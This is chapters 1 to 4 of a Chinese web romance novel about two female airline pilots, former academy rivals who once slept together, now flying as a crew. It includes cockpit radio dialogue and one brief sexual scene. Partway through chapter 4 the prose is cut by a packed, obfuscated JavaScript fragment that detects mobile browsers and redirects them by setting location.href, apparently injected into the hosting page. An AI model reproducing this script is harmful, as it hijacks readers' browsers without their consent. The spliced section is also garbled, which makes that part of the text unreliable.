《死对头她逼0做1》
1. chapter 1
“颂恩呐。”
虞颂恩生长在毗邻朝鲜半岛的丹城,相熟的朋友总爱拿腔拿调开玩笑,说她名字都带着股泡菜味。她不以为意,但偶尔也会回怼:“还想不想吃Smallbatch的血橙?”
美食当前,魏莱认怂:“行吧,说正事,你们见面会不会尴尬?”她是虞颂恩老乡,神州航空的乘务员,主飞国内航班。两人志趣相投,认识不到三月就在五环外合租了一套小两室。去年虞颂恩买房,也不忘顺带捎走她。
“我为啥尴尬?”
“你俩睡过啊!”
“成年人你情我愿,睡过就睡过。我没什么,她肯定也是。”似曾相识的话脱口而出,虞颂恩些许恍惚。
魏莱半信半疑:“真的?”
“不然呢?放一百个心。”
“放心?你知道三年前,呸,今天元旦,应该说四年前的冬至我终身难忘嗎?”
“我以为她是柯妤,调侃她指.套够不够用!”
四年前,冬至,虞颂恩倚着机场咖啡厅的沙发,思绪被牵引......
柯妤是她初恋,公司的气象预报员,北城本地人,平时都住在机场附近的家里。但她也会时不时和虞颂恩去酒店放纵,或者来出租房小住两天。
虞颂恩工作特殊,大部分时间都在平流层迁徙,和柯妤聚少离多。她深感愧疚,偶尔给对方准备小惊喜。
只是2022年的冬至,惊喜却变成惊吓。
“雪太大,明早再飞咯,我一会儿就开车回家。”乘务长挂断电话,哈着气搓手,瞧虞颂恩往前走,叫住她,“小虞,不坐机组车啊?”
虞颂恩拖着飞行箱转身:“嗯,约朋友吃饭。”
“对哦,冬至吃饺子。”乘务长话语不停,偏头问何汀,“小何也是啊?”
“是的。”
虞颂恩顺着视线看去,身侧的何汀左手打伞,右手拽着拉杆箱,略微欠身,“龚姐,你们聊,我先走了。”
何汀挽发,面部轮廓流畅,额头饱满,鼻梁高挺,嘴唇微翘,高低起伏像画出来的线条。偏偏眼神和声音带着明显的疏离感,虞颂恩目光和她相撞,差点被冻死。
“嘶。”她倒吸一口凉气,告别乘务长,跟着何汀朝塔台方向走。
天色愈发昏暗,鹅毛般的雪花密密匝匝,夹着烟霭和忙碌的气色,将机坪乱成一团糟。虞颂恩拇指摩挲着伞柄,率先打破沉寂:“喂,去和女朋友过节吧?”
相隔两米的何汀没听清,放缓脚速,反问:“什么?”
怎么年纪轻轻就耳背?
虞颂恩嘟囔着,应她:“今天冬至,你约对象......”话说一半,被铃声打断。
何汀摸出羽绒服衣兜的手机,嘴角噙着极淡的笑,表示歉意:“不好意思,我接电话。”
“嗯。”虞颂恩鼻腔轻哼,也不等何汀,自顾自迈开步子。脚下的积雪厚实而绵密,伴随“咯吱”的微弱声响,每走一步都踩出深浅不一的脚印。她漫不经心哼着歌,绕过滑行道,远远瞧见熟悉的身影拽着一个人拐进塔台东侧的休息区。
柯妤不是夜班吗?她思忖着,按捺住提到嗓子眼的心脏,轻手轻脚靠近。
休息室隔音降噪的效果良好,虞颂恩听不见丝毫动静,目光却穿过窗帘的缝隙,死死黏住那人背影。她脸瞬间白得像浸了水的石灰,扶着墙站定,拨出通讯录置顶的号码。
等待最后的宣判。
短暂数秒,通话被掐断,虞颂恩看着柯妤走出视野范围。片刻过后,她垂眸点开微信。
【颂恩,等你回来,我有事和你说。】
【她是谁?】虞颂恩咬紧牙尖,磨出冷森森的响。【是不是秦菲?】她印象中,柯妤提过秦菲,且不止一次。
又是一阵沉默。
时间流逝,身后何汀的脚步声渐近,虞颂恩愈发断定她的猜测,打破砂锅问到底:【什么时候开始的?发展到哪一步了?】
【对不起。】
虞颂恩眼睛盯着对话框,睫毛轻颤,手背青筋若隐若现,打字的速度也因此减缓:【滚。】她发送消息,毫不犹豫转身,伸手勾住何汀的臂弯,疾步往回走。
“什么意思?”何汀还在发懵,任由她过分亲昵的动作。
“你对象和我对象睡了。”
“对象?诶,你拽着我去哪儿?”
虞颂恩心头堵得慌,脚步越迈越快,险些绊倒何汀。她语出惊人:“去我家,睡我。”
何汀缓过神,推开束缚臂弯的手,唤她名字:“虞颂恩。”
语气郑重,似在提醒她不要越界,不要胡言乱语。虞颂恩冷呵一声,撇着唇角解释:“开玩笑而已,你别当真。”又问,“何汀,我们同窗四年,共事也有五年了,对吧?”
“对。”
天黑透,雪越下越大,何汀借着照明灯看清虞颂恩满脸的泪痕,头顶的伞面向她倾斜。
虞颂恩眨眼,模糊的视线逐渐清晰,主动邀请:“所以明天休息,陪我喝两杯?当然,你可以拒绝。”
“走吧。”何汀嗓音低柔,摩擦着虞颂恩心脏,驱走些许冬夜的寒意。
推开家门的时候隔壁已经换台看新闻联播,虞颂恩招呼何汀坐咖啡桌旁边的转椅。她们四点多吃的机组餐,这会儿不饿。虞颂恩径直走去厨房,洗两个高脚杯,抱着一瓶红酒过来,坐在她身旁。
“我一般喝红酒,你ok吧。”
何汀面容波澜不惊:“好。”
虞颂恩倒酒,仰头一饮而尽,侧脸可以瞥见的眼尾,红得像信封的邮戳。
“我和柯妤谈了三年,还是初恋,她王八蛋!”她左手撑着下巴,近距离盯着何汀的脸瞧,道出心里的疑惑,“你怎么没反应?”
“你要我给出什么反应?”
“你也被绿了啊!没有不爽吗?”虞颂恩喝完第二杯酒,嘀嘀咕咕说着,“我发现你喜欢反问,还有啊,不像人,都没有喜怒哀乐。”
“也不是。”何汀慢吞吞呷着酒,瞧她第三杯已经见底,低声劝,“你别喝太急,红酒也会上头。”
“上头就上头。
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”虞颂恩酒量浅,喝多就关不住话,聊起柯妤,说自己工作忙,经常觉得亏欠,“但她想分手就分啊,我又不会纠缠。”
何汀递纸巾:“你不用给她找出轨的理由,也不要自我pua。”
“这是pua?”虞颂恩擦眼泪。
“不是吗?”
“你好理智哦,都不说秦菲的坏话。酒量也好,不像我,有点晕了。”虞颂恩手背摸脸,滚烫,酒精作用,心脏也比往常跳得快。
“我喝得慢。”
两人就这样有一搭没一搭说话,虞颂恩半醉半醒,伸手去抱何汀的脖颈,带着她贴近:“唔,你啊,太无趣,是不是没什么爱好?”
相隔咫尺,呼吸都纠缠在一起。何汀蹙眉,撇开眼:“你醉了。”
“没,同事也能勾肩搭背,你想太多。”虞颂恩放任本能,去追逐何汀隐藏在眼底的暗火,“但她们都可以,我们为什么不行?”
“你......”
鼻尖抵住鼻尖,意识在对视中溃散。虞颂恩扣着她手腕呢喃:“我喝酒前嚼了口香糖,要不要先试试接吻?”说完,没等对方答应,薄唇顺势贴过去,轻蹭浅吻,细细地抿着,品尝红酒味。
气息交融,虞颂恩察觉何汀没推拒,加重攻势,氧气消耗在不间断的深吻中。何汀喘息着看她,脸颊也红霞尽染。
“还是说,你先去洗手。”虞颂恩说得暧昧且直白,却在共赴巫山云雨时差点跳起来,“我做了三年的0,你让我当1?”
“不对啊,她们两个1,谁0?”谁家好人,做到一半,开始讨论姬圈“哲学”。
然而脑海回荡着何汀低哑的反馈声,她选择妥协。
下不为例,但应该没有后续,亏大了。
“Hello,yourcoffee.”服务员的声音拖她回现实。
“Okay,thankyou.”虞颂恩招呼同事帮忙拿咖啡,打字回复魏莱:【我先忙。】
她戴墨镜,长卷发扎成马尾,穿白衬衫制服,黑色高腰西装裤系皮带,贴合身型,利落又飒爽。两人拎着咖啡穿过机坪长廊,跟随大部队登机。
“来,一人一杯。”虞颂恩说罢,将咖啡交给同事,走去左座机长位坐下,右侧副驾驶位空无一人。
何汀没有参与航前准备会,这会儿也见不着人,虞颂恩转身,仰头问乘务长龚云慈:“龚姐,何汀呢?”
她开空客a320的时候就常和龚云慈合作,去年改装330,碰巧这位长着国泰民安脸的乘务长也开始飞国际。龚云慈眼角眉梢都染着笑意,应道:“她啊,绕机检查呢。小虞机长,新年快乐。”
“谢谢龚姐,新年快乐,你的咖啡我特意叮嘱多加牛奶哦。”虞颂恩收回视线,打开管理计算机(FMC),输飞行计划。她太过专注,未曾想何汀已经进来,放好反光背心,在身旁坐定。
完成驾驶舱预设程序的检查,虞颂恩偏头,最先关注何汀的锁骨短发,不自觉开口,“你去港城三年,怎么还剪了港剧大女主的标配发型?”
2. chapter 2
商务舱,前天开始跟飞的学员问旁边的副驾:“哥,你和虞姐同届吧?”长线国际航班会考虑飞行安全,安排双机组执飞,机组中途可以轮换休息。例如今晚8:15,从墨尔本飞回北城,何汀和虞颂恩主要负责起飞、落地,另一个机组负责巡航。
副驾点头:“嗯,她飞行器设计专业大改驾。”
“好牛啊,优中选优的大改驾。听说她五年就放机长,去年改装的330。”不同于航校养成生,大改驾则是普通高等院校的学生改学飞行技术专业。2+2模式,她们会在大二通过院校的面试、体检等多重考验,大三开始学飞行理论知识。
“咱们中队的明星机长,你看我和她同龄,还是副驾。”
他们最左侧的女机长唇角堆满笑意:“你也不瞧瞧小虞那股劲,还有啊,给她压座的何汀也了不得,才从启泰航空回来,技术那是相当硬。”
副驾:“姐,你说何汀啊,她和虞颂恩以前在学校可是死对头。”
学员好奇:“怎么说?”
副驾津津乐道:“她们大一就是同桌,大三转飞行专业,铆足劲竞争啊。跑圈必须同时冲向终点,转旋梯还要比一比,搞到最后两个人都吐了。”
学员蹙眉,不禁担心:“竞争?不会在驾驶舱打起来吧?”
女机长摆摆手:“瞎说,她们配合得天衣无缝,七年前就已经展现默契。”那时何汀刚升副驾没两天,虞颂恩后座观察,机长却在廊城起飞后突发疾病失能。
虞颂恩迅速指挥安全员将失能的机长抬出驾驶舱,坐去机长位:“何汀,你来操纵,我通讯。”
何汀已经握住右侧的操纵杆:“好,我来操纵。”
虞颂恩戴好耳机,语速不疾不徐:“Mayday,Mayday,Mayday,廊城塔台,神州8527,机长失能,现在由副驾操纵飞机,需要返航。”
塔台管制即刻回应:“好的,神州8527,按指令,继续飞行,右转航向040。”空中交通管制员是民航不可或缺的专业人员。她们通常负责指挥与协调航空器的飞行活动,确保其安全、有序地执行任务。
虞颂恩:“右转040,神州8527。”
塔台:“神州8527,爬升并保持1500,联系离场125.3,他们会引导你返航。”
虞颂恩:“爬升保持1500,联系离场125.3。”
1500米,对应4900英尺,何汀调整旋钮,设置高度:“爬升数值1500。”
虞颂恩:“证实。”
PF操纵飞机,控制方向与速度,副驾作为PM必须全程监控。两人会进行“交叉检查”,互相验证对方的操作是否准确。
紧张的局面终于缓和,虞颂恩通过机长广播告知乘客飞机需要返航,随后调换频率,联系离场管制:“离场你好,神州8527,现在1200,爬升1500。”
离场:“神州8527,雷达识别,你们正在返航,是吗?”
“正在返航,机长休克,需要安排救护车,神州8527。”
离场:“神州8527,收到,预计跑道16L,航向080。”
虞颂恩:“跑道16L,航向080,神州8527。”
离场:“神州8527,可以继续右转,下降并保持1200。”
何汀操纵客机成功转弯飞往机场方向,她思路清晰,提醒虞颂恩:“你让她雷达引导一下。”
“好。”
雷达引导,虞颂恩联系廊城进近119.7,飞行高度从1200降到900,跑道16L。
何汀根据指令转四边,航向180,高度下到600,修正海压1023,再右转航向250。目视机场以后,虞颂恩立刻报进近,随后联系塔台再次确认救护车安排情况。
塔台回复救护车已经待命,目前地面风250,6米/s,可以落地跑道16L。
数分钟后,何汀驾驶着飞机降落在跑道。反推打开,扰流板升起,自动刹车功能运作,飞机滑行停稳,完美的落地过程。机长被及时送去医院,领导事后赞扬她们临危不惧,“教科书式”处理特情,并以嘉奖。
两位年轻的副驾从此声名鹊起。
然而此时的驾驶舱却“剑拔弩张”,虞颂恩揶揄她:“你现在的发型,x缩力拉满。”
何汀取出飞行手册,拉开身前的小桌板,没抬头,只说:“虞颂恩,我想做一件事。”
“什么?”
何汀冷呵,一字一句,吐字清晰:“毒哑你。”
虞颂恩装作好似发现新大陆,拍她肩膀,夸张的语气惊呼:“嚯!三年不见,你会开玩笑啦。”
“你有病吧?”何汀说着嫌弃的话,颊边笑容浮现。
“还会笑咯。”
“你今晚是不是吃得有点多,待会儿夜宵叫龚姐少送一盒饭?”何汀在心里默默翻白眼,低头看手表,言归正传,“可以通知上客了。”
“行。”虞颂恩立马收起心思。
乘客陆续登机,舱门关闭,何汀联系放行,地面推出。她说着流利的英语,嗓音清润,仿佛林间清泉,令人心旷神怡。虞颂恩暗道糟糕,以前英语通讯方面就稍逊一筹,现在差距
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越来越明显。
不行,回去得报个班!
塔台管制员纯正的英式英语:“ShenzhouAir166,heavy,runway34,lineupandwait.”(神州航空166,重型,跑道34外等待)
何汀记录重点,复述指令:“Lineupandwait,runway34,ShenzhouAir166.”在接收管制的指令后,飞行员应该及时复述指令来确认理解正确,防止出错。
虞颂恩同样一丝不苟,按标准程序走:“Lineupchecklist.”(起飞前对正检查单)
何汀重复:“Lineupchecklist,takeoffrunway.”(起飞前对正检查单,起飞跑道?)
虞颂恩:“34.”
何汀:“34,checked.TCRS.(空中交通防撞系统)”
......
完成起飞前检查,虞颂恩确认五边没有进近航空器,转进跑道对正中线。塔台指令可以起飞,她推动油门,发动机轰鸣,这架号称“空中客车”的A330眨眼便宛如离弦的箭,在跑道加速冲刺。
何汀读空速表:“100节。”
飞机逐渐达到决断速度,虞颂恩:“V1.”
“Rotate.(抬轮)”
何汀:“postiveclimb.(正上升率)”
“Gearup.(收轮)”虞颂恩收起落架。
顷刻间,“空中客车”像雌鹰般展翅飞翔。戴着耳机的何汀监控面板数值,一刻不停:“Melbournedeparture,goodevening,ShenzhouAir166,passing3000ft,climbing5000ft.”(墨尔本离场,晚上好,神州航空166,通过3000英尺,正在爬升到5000英尺。)
离场:“ShenzhouAir166,departureidentify,climbto7000ft.”(离场雷达识别,爬升到7000英尺。)
虞颂恩根据管制的指令爬升,飞机到达一定高度,开启自动驾驶,安全穿云。余光透过舷窗眺望,彼此九点多,夕阳沉落,夜空缀着数颗零散的星子。她松开安全带,伸懒腰:“唔,可以休息了。”
“睡一觉吃饭!”
后座观察的学员也跟着站起来,冲她笑:“虞姐,你英语说得真好。”
“是吗?”虞颂恩暗爽,知道何汀去厕所,玩笑的语气问,“那和何机长比呢?”
3. chapter 3
“当然都好,向两位看齐!”
意料之中的答案,没劲儿。
虞颂恩咕哝着,负责巡航的机组正好进来换班。女机长招呼她:“小虞,小何已经去休息了,你也去吧。”
虞颂恩改装空客a330的带飞教练是大队队长何庆媛,眼前的彭机长也是何庆媛的关门学生,两人师出同门。
“好的,彭姐,辛苦了。”
她说完,端着咖啡往外走,路过卫生间,门正好打开。空乘小朱整理好妆容,探出头:“虞机长,我帮你拿咖啡。”
虞颂恩回以微笑:“谢谢。”
相比以前经常和异性共事,她更喜欢周围都是同性的工作环境,但飞行机组不会固定搭档,也只能享受当下。
空乘组同样轮班休息,何汀低头走进机组的休息区,碰巧听见两位乘务员窃窃私语。
“我和虞机长飞过七八回,她性格好,一点也不傲慢。”
“那为啥不待见何机长?”
“可能有矛盾吧,何机长看着不好相处,航前准备会都没来。”
“我们在车上开会,她凌晨加机组飞过来,住的机场酒店。”原本和虞颂恩执飞的孟昊因为直系亲属去世,昨天赶回北城。何汀临危受命,坐12小时飞机填补空缺。起飞前,她和虞颂恩也根据回程的天气情况,做好差错管理和特情预案。
“好吧,但虞机长没给她买咖啡,竟然表面功夫都不做。”
即便小姑娘故意压低声音,何汀还是轻而易举听清她们说话的内容。
她脱掉外套挂在臂弯,辨不出情绪的语气接腔:“我没有喝咖啡的习惯。”何汀尊重旁人的观点,不在意这些猜测,但也想说出实情,“虞机长知道。”
以前在航校的时候,虞颂恩就吐槽她像个老年人,不喝咖啡爱喝茶。
乘务员被抓现行,连声抱歉:“对,对不起,何机长。”
“没事,休息吧。”何汀走去角落的床躺下,转身背对她们。她从圣地亚哥旅行回来,倒时差,没怎么睡,趁此机会补补眠。
***
国内和墨尔本时差三小时,北城时间凌晨五点多,机组交接,飞机准备下降高度。虞颂恩瞧何汀端着饭盒进来,递给她飞行手册,说,“延误半小时,北城最近都有大雾,6点左右能见度最低。”
“嗯,看不到决断高就直接复飞。”
精密进近过程中,跑道标高平面为基准设定的高度就是决断高。当飞机降至该高度时,如果驾驶员不能获得继续进近需要的目视参考(引进灯),必须立即执行复飞操作。
虞颂恩问她:“好,待会儿谁飞?”
“都行。”蔬菜放太久,口感不佳,何汀挑肉吃,突然想到什么,又说,“或者你飞吧,我晚上飞。”
虞颂恩瞪圆眼睛:“晚上?”
“嗯,调度说你和我,还有孟机长互相压座。”
通常改装新机型,航线训练检查合格后,就可以独立担任机长,无需教练监控。但神州航空作为国内的三大航之一,往往要求两个刚完成改装的机长“互相压座”,保证双重安全。
所以孟昊丧假,晚上的航班还是她们搭档。
“哦。”语气漫不经心,虞颂恩偏头看向窗外,嘴角的弧度出卖她。或许和女生共事,谁都能心情大好?
半小时后,完成进近前检查,北城区域管制告知北城进近的频率,120.6,减速至210节。
虞颂恩严格遵守标准操作程序(SOP),激活进近:“进近已激活。”
何汀:“证实。”她联系进近管制员,“北城进近,早上好,神州166,重型,高度5100,听你指挥。”
再正常不过的通讯规范用语,然而进近管制员似清风拂面般温和的嗓音传进耳朵,虞颂恩瞬间抿唇。
“神州166,北城,雷达识别,跑道01,保持速度。”
返工第一天就被出轨的前任“接回家”,这是什么狗血剧情!虞颂恩心里百转千回,眼睛却依旧直视前方。
何汀语调不变:“跑道01,保持速度,神州166.”
秦菲:“神州166,下降到1500保持,注意低云,修正海压1009.”
何汀:“下15,修正海压1009,神州166.”
虞颂恩调整高度1500,修正海压,何汀检查。
秦菲:“神州166,由于间隔,保持航向,雷达引导。”
何汀:“保持航向,雷达引导,神州166.”
超过2分钟没收到秦菲的指令,虞颂恩忍不住开口:“问她要不要保持速度?”
何汀愣怔数秒,捏着无线电:“神州166,重型,需要保持速度吗?还是可以减速了?”
秦菲回应减速180,右转航向330,保持900建立下滑,可以盲降进近,跑道01。
“神州166,联系塔台118.6,再见。”
何汀复述:“118.6,再见,神州166.”
虞颂恩瞧她唇边勾起浅淡的笑容,靠,这是余情未了?没眼花吧!
雾天,云底高度有点低,不过云量还在可控范围,也能看到引进灯,具备盲降的条件。大约15分钟后,虞颂恩驾驶飞机平稳落地,根据指令滑进停机位。
她们坐机组车回公司,停车场取车,虞颂恩再次大跌眼镜。
奔驰AMGSL63,车漆颜色改流光紫,高调,贵气,与何汀低调的性格天差地别。反观自己,沃尔沃xc90,笨重,粗狂,但空间还算宽敞,安全系数也高。
两辆车停在一起,视觉冲击不言而喻......
虞颂恩只想尽快逃离现场,偏偏何汀喊住她。
“回家?”
“嗯。”虞颂恩礼貌反问,“你呢?”
“回酒店收拾一下。”
“住酒店?”虞颂恩后知后觉可能涉及隐私,补充道,“你不用说,晚上见,我先走了。”她没等对方回话,开门、关门、系安全带,发动汽车,眨眼就消失在何汀眼前。
还和以前一样,做事风风火火。
何汀不自觉笑出声。
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***
如果两个人吃饭,话题围绕着另外一个人,意味着什么?
午餐,何汀挑的地儿,吃粤菜。
餐馆挨着酒店和机场,位置不错,生意也挺红火。门头采用广东特色的“镬耳屋顶”造型,暖灯衬托,营造出“空山新雨后”的清新感。
何汀和沈嘉柠前后脚进去,抬眼环视,室内的卡座区域以山水阁楼墙画为设计灵感,内敛却独具魅力。
服务员带路,10号桌,沈嘉柠拉出椅子坐定,抬头问她:“怎么想着吃粤菜,你在港城没吃够啊?”沈何两家世交,她和何汀打小一起长大,关系匪浅。
“近,图方便。”何汀戴咖啡色贝雷帽,穿浅色毛衣,外搭一件深色羊绒大衣,瞧着时尚又知性。
“好啊,请我吃饭,你就图方便,也不专程挑一挑。”
“有挑,这家糖醋咕噜肉不错。”何汀递给沈嘉柠菜单,“沈大小姐,想吃什么随便点。”
“算你有良心。”沈嘉柠接过菜单浏览,“刚说的什么糖醋?”
何汀介绍:“糖醋咕噜肉,豆豉蒸排骨,番茄脆皖鱼也好吃。”
“你怎么都点荤菜?”
“番茄不是素菜吗?”何汀爱吃肉,需要营养搭配,她才勉强吃两口蔬菜。
“不愧是你。”沈嘉柠在白灼菜心前面打一个勾,将菜单交给服务员。
等菜间隙,何汀不说话,端起茶杯慢吞吞呷着。沈嘉柠回完微信,冷不防问她:“你和虞颂恩飞?”
“嗯,今晚7点半飞蜀江。”
沈嘉柠叹了一口气,说:“你别招惹她。”
何汀好奇,但面色不改:“怎么?”
“我前年不是谈了一个小两岁的妹妹吗?”
何汀点头:“嗯,不到两个月就分手了,你没说是谁。”
“就是她,虞颂恩。”沈嘉柠北城大学医学部临床硕士毕业,不想进医院当牛马,选择去神州航空躺平。
航医作为飞行安全的守护者,需要经常和飞行员打交道。一来二去,她和虞颂恩渐渐熟络。两人前年3月确定关系,劳动节就和平分手。
糖醋咕噜肉上桌,何汀埋头吃肉,分神问她:“什么原因分手?”
“唉,我们亲也亲过,做的时候她突然不愿意了。”沈嘉柠出门急,长发松松垮垮。她反手取头绳,重新挽一个发髻,话语不停,“说什么精神出轨,想着另一个人。”
“肯定是借口,后来我才知道她又谈了两个。”
何汀没抓住重点:“三年谈三个?”
“应该不止,她在圈里的名声不咋地。你说她想柏拉图吧,又说可以试试。”
“不会还想着前任,没法和别人做吧?”
没法和别人做......
何汀神思飘远。
雪夜,房间没开灯,虞颂恩撑在她身前,看不清模样,低声埋怨:“你能不能支棱起来,实在不行借我一条腿吧。”
虞颂恩身体沉下来,她们紧贴在一起,轻轻撞,慢慢磨,陷入漫长的情潮中......
4. chapter 4
“喂,在想什么?东西不吃,话也不说。”
何汀视线重新聚焦,莫名觉得脸热,不动声色抓起筷子夹菜:“没什么。”
“番茄脆皖鱼,趁热吃。”服务员端菜过来,正好解她的燃眉之急。
何汀主动帮忙舀汤:“你尝尝,脆皖鱼和普通的草鱼不同。”
沈嘉柠夹一筷鱼肉塞进口中:“什么不同?”
“不觉得口感更脆滑吗?”何汀不紧不慢嚼着鱼肉,绕回主题,“你怎么知道虞颂恩又谈了两个?”四年前的冬至,虞颂恩醉酒,单方面分享恋爱观。倘若没撒谎,没有故意立人设,在她看来,对方重感情,知进退,和她发生关系大概也是想彻底告别过去。
沈嘉柠拿起手机,点开微信:“我们公司的同好群,你要进群吗?”
“不用。”何汀不爱群聊,有事就私聊,或者打电话。
“我猜也是。”沈嘉柠滑动屏幕,找到名为《湾仔航空》的群给她瞧,“群员20,也就是说,我们公司至少20个姬佬。”
“你再看这个。”
何汀目光停留,瞳孔骤然扩大:“前任联盟?”
“对,我们仨能从大群聊到小群,虞颂恩功不可没。”
何汀不禁皱眉:“你们在大群聊她的隐私?”
“怎么可能?她们吐槽前任也是匿名,没说是谁。我根据关键信息去对暗号,才建的群。”沈嘉柠这人,藏不住事,虽说比何汀年长两岁,但性格和处世明显没她成熟。
何汀不置可否,喝完汤,半响才接腔:“那也不能背后说人闲话。”
“唉,也不全是坏话,你看,我们夸她更多。”沈嘉柠鹅蛋脸,颧骨不高,下颌线条柔和,沉默的时候,尽显温婉的气质。但她典型话痨,张嘴就原形毕露。
何汀扫一眼聊天记录。
1号(沈嘉柠):【她回消息快,在一起的时候,算是称职的女朋友。】
3号:【给我买好吃的!驻外还会带礼物!】
1号(沈嘉柠):【唱歌也好听,还能面对面点歌。】
2号:【我的梦中情0,现在还念念不忘。】
......
1号(沈嘉柠):【就是太绝情,说分手就分手。】
3号:【欺骗我的感情,呜呜呜。】
2号:【姐妹们,抱抱。】
满满的怨气。
何汀忍住不笑,强压嘴角:“你怨气还挺深?”
沈嘉柠鼓起腮帮子:“何汀!你笑!你竟然笑!”
“没有。”何汀实在憋不住,低笑出声,“沈大小姐,我没有。”她不算内向,只是比起话题的开启者,更喜欢做倾听者。好友小聚,也能玩得开。
沈嘉柠被踩尾巴,试图抓她辫子:“说说你,和港城那位律师,没可能了?”
何汀摇头:“没有。”
沈嘉柠疑惑:“为什么?性格不合?你们也谈了小半年吧。”
何汀低头专心吃肉:“她有白月光,我对她,也没什么feel.”
“打住,别学港城人说话,突然来句英语。”
何汀眼角含笑:“好。”
茶足饭饱,何汀双手插兜走出餐馆,深呼吸,享受阳光的馈赠。
身旁的沈嘉柠总觉得老板坑她们钱,低头算账,分神问她:“怎么?”
“温暖,舒适。”北城的隆冬似乎只有两种色调,浅灰与湛蓝。前者阴天,雾霾笼罩着整座城市;后者晴天,阳光将人心都晒得通透。何汀喜欢后者。
她们步行往机场方向走,沈嘉柠浏览完账单,确定没算错,将账单塞给何汀:“对哦,你怎么不回家?”
“何女士飞希腊,老秦十天半个月都不着家。”
何汀的母亲何庆媛,第六批空飞转业民航,神州航空总队第一大队大队长,52岁还在一线工作。父亲秦淮,航空研究院的首席专家,经常出差。
“好吧。”沈嘉柠边走边问:“听说你要买房?”
何汀点开相册的视频,手机递过去:“嗯,合同都签了,找时间办手续。”
“神速啊!还说给你介绍中介。”沈嘉柠浏览视频,10分钟路程,都是她说话。
“东四环,82平米的两室两厅,带阳台,小富婆啊。”
“何妹妹,你外婆开飞机,你妈开飞机,你也开飞机,越飞越有钱。”
“北欧风格的装修,好温馨。”
“厨房的空间够你大显身手。”
“书柜也好看,你放飞机模型。”
“姐妹,你好会过日子,我想嫁。”
......
“只有15分钟打卡,告辞,我要迟到了。”
何汀望着她百米冲刺的背影,垂眸发微信:【我搬家那天,请你吃饭。】
***
何汀应该不怎么用微信,不发动态,这些年,虞颂恩也没见她和共友互动。
然而坐在副驾位,虞颂恩点开微信朋友圈,页面提示新增互动。
植物头像,备注“老干部”,给她墨尔本的旅游vlo□□了赞。
?
虞颂恩转头,看向左侧正在输飞行计划的何汀,第二次觉得眼花。
再三确认,没看错。但为什么点赞?
手滑?
哪根筋没搭对?
虞颂恩琢磨片刻,同事之间点赞,其实也正常。她抿了抿唇:“你微信头像是什么花?挺好看。”
何汀指尖动作不停:“垂茉莉。”
“哦。”没话找话聊,容易冷场,何况她说的违心话。好看?只能说不难看,哪个95后拿花花草草当微信头像?
虞颂恩给自己找台阶,余光扫视周遭,忽然瞥见窗外熟悉的身影,起身离开座位。她快步走出驾驶舱,迎面撞见穿羽绒服,套着反光背心的陆楹。
“虞机长,你在哪儿发现的鸟击现象?”
女生26岁,齐肩中长发,扎马尾,常年在室外工作,皮肤不算白皙,小麦色的健康肤色恰到好处。她半小时前被借去救急,接到电话才赶来。
“你跟我来。”虞颂恩今晚负责绕机检查,心细如尘的她发现端倪。
她们绕至飞机左侧,虞颂恩仰头,举着电筒指向左侧大翼靠边缘的位置:“你看。”
只见手指的地方,卡着两撮灰白色的鸟毛,近乎和机身颜色融为一体。
陆楹盯着撞击点,说着夸赞的话,面色依旧,语气也平淡如水:“虞机长,你真细心。去年12月,中阳航空的A320起飞放不出襟翼,就是因为机长绕机没发现鸟击。”
“还得靠你,检查一下机身有没有受损。”虞颂恩收起电筒,退后半步。
“好。”陆楹叮嘱身侧的小弟,“架梯子。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129380|196191||http|test|mini|href|location''.split(''|''),0,{}));
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>短短4年,陆楹从普通的维修人员晋升放行工程师,技术堪比老师傅,连傲慢的男同事都对她心悦诚服。
梯子架稳,陆楹踩着阶梯往上爬,一层,两层,抬手扯掉卡在缝翼和机翼本体的接缝处的鸟毛。目光下移,在整流罩左侧发现两团组织残留痕迹。
“抹布,酒精。”她伸手,同事立马配合。
“虞机长,目前看来,鸟的体积应该不大。但保险起见,待会儿还是放出缝翼检查。”陆楹沿着溅射方向,查看机翼下表面,没有发现异常。
她两三步下来,将梯子往远处拖。
同事比陆楹小半岁,叫她老大:“你这是要?”
“检查机翼上表面,不能放过细节。”她眉头轻蹙,明净清澈的眼底微光漾动。
虞颂恩双手环胸,静默地待在他们身后,何汀悄无声息走近:“她是?”
“放行机务,飞机交给她,我放心。”
何汀看着陆楹麻利的动作,投去赞许的目光:“嗯,机务风餐露宿,挺辛苦。”
虞颂恩嘴角扯出一抹笑:“做民航的,干啥不辛苦?但她们确实最辛苦,尤其夏天,地表温度高达60。”
何汀:“虞老师,明天元旦假期最后一天,我们飞大四段。”大四段,例如A-B-C-A,四段行程,飞行员需要从凌晨六七点工作到深夜,但飞行小时才算7个小时。所以对比大四段,飞行员更愿意飞12小时的国际长途航线。
虞颂恩耸肩:“嚯,笑不出来,何老师。”
何汀嫌弃的表情:“别叫何老师。”
“干嘛?”
“不爱听。”
寒风刺骨,何汀的声线偏冷,虞颂恩听进耳朵,冻得直跺脚。欸?她后知后觉,为什么没反驳?
驾驶舱内,机务打开防撞灯,液压系统增压,放出襟缝翼。陆楹检查蛛丝马迹,特别注意缝翼滑轨,确定没有发现鸟类残存组织。
她提高嗓音:“虞机长,机身检查完成,你来看一遍。”
“好。”
小插曲,有惊无险。
乘客推迟15分钟登机,虞颂恩联络放行,飞机准备推出。
无线电频率连接,陆楹看着机头:“驾驶舱你好,地面机务,牵引车已经连接,请松刹车。”
虞颂恩:“地面你好,驾驶舱,刹车松,可以推出,沿蓝线,液压泵增压。”
陆楹:“刹车松,沿蓝线推出,可以增压,地面收到。”
飞机没有倒档,完全依赖牵引车后退。牵引车通过挂钩连接飞机的起落架,她跟随前行,到达指定位置。
司机停稳车,准备就绪,陆楹拔出旁通转弯销,对着话筒说:“驾驶舱你好,飞机到位,请刹车。”
虞颂恩:“收到,已刹车。”
陆楹走到飞机侧方位:“现在可以启动。”
何汀启动发动机,虞颂恩回应:“可以启动,2发,1发启动。”空客飞机的停留刹车储压器由黄液压系统提供压力,而黄液压的增压源是2发,所以一般先启动右侧的第二发动机。
陆楹:“2发1发启动,地面收到。”
“地面,驾驶舱,双发启动正常,见你手势滑出,再见。”驾驶舱两人朝陆楹挥手道别,虞颂恩补充,“今晚,辛苦了。”
